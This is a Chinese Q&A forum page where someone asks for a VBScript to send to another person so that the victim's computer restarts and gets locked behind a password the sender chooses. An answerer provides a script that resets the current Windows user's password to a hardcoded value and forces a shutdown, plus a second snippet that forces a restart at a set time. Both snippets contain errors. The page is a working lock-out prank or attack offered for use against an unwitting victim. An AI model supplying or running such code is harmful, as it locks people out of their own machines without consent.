如何用vbs发给别人别人的电脑就重启然后被我设置密码，求vbs代码

 我来答

1个回答

#合辑# 面试问优缺点怎么回答最加分？

病毒制造者110
2013-10-10 · 超过13用户采纳过TA的回答

知道答主

回答量：42

采纳率：0%

帮助的人：37.6万

我也去答题访问个人页

关注

展开全部

密码是指windows密码吗?

如果是的
如下代码:
Const strPassword = "687542"' 设置密码为687542可以自己改
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj

set gj=createobject("wscript.shell")

gj.run"shutdown -f -t"'关闭计算机

给你个建议啊
我学vbs就几天而已
什么事自己动手找
这种问题解答网上一大把
自己看

更多追问追答

追问

怎么不行啊，制作完后双击打开没反应啊

追答

strtime="12:00" 
set wshshell = createobject("wscript.shell")
atime=split(strtime,":")
b=cint(atime(0))
c=cint(atime(1))
do while true
if (hour(now)=b) and (minute(now)=c)then 
wshshell.run "shutdown -f -r" 
exit do
end if
定时为12点启动
 
试试 不对给我说啊